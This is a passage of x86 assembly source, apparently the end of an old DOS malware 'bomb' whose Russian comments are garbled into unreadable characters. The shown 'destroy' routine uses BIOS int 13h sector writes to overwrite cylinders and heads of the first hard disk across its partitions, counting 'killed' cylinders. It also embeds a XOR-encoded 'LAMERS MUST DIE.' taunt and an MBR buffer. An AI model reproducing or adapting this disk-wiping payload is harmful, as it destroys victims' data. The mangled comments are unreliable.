pop si ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD>
mov cx, si ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塞 <20><>᫮ <20><><EFBFBD><EFBFBD>ࠥ<EFBFBD><E0A0A5><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
sub cx, 500h
shr cx, 2
std
lodsw ; <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> <20><>᫥<EFBFBD><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@nextpart:
push cx ; <20><><EFBFBD>࠭塞 <20><><EFBFBD><EFBFBD>稪
lodsw ; <20><>६ <20><>ࠬ<EFBFBD><E0A0AC><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD><EFBFBD>
mov cx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/ᥪ<><E1A5AA><EFBFBD>
lodsw
mov dx, ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
disk = $ + 1
mov dl, 80h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ࠥ<EFBFBD><E0A0A5><EFBFBD><EFBFBD> <20><>᪠
mov si, killed_cyl ; <20><><EFBFBD><EFBFBD>稪 㡨<><E3A1A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD>஢
; <20>ய<EFBFBD><E0AEAF>뢠<EFBFBD><EBA2A0> ࠧ<><E0A0A7><EFBFBD>
@@nexthead:
sectors = $ + 1
mov ax, 310h ; !!!!
int 13h
inc dh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
heads = $ + 2
cmp dh, 16 ; <20><><EFBFBD><EFBFBD> 樫<><E6A8AB><EFBFBD><EFBFBD> ?
jne @@nexthead
add cx, 64 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>騩 樫<><E6A8AB><EFBFBD><EFBFBD>
xor dh, dh ; <20><>稭<EFBFBD><E7A8AD><EFBFBD> <20> <20>㫥<EFBFBD><E3ABA5><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
dec si
jne @@nexthead
pop cx ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>稪
loop @@nextpart ; <20> <20><><EFBFBD>⨬ 横<> <20><> ࠧ<><E0A0A7><EFBFBD><EFBFBD><EFBFBD>
pop dx
retn
destroy endp
lmd:
irpc ch, <LAMERS MUST DIE.>
db '&ch' xor xor_value
endm
bomb endp
buffer: ; <20><20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> mbr
dw offset buffer - offset bomb
cseg ends
end start
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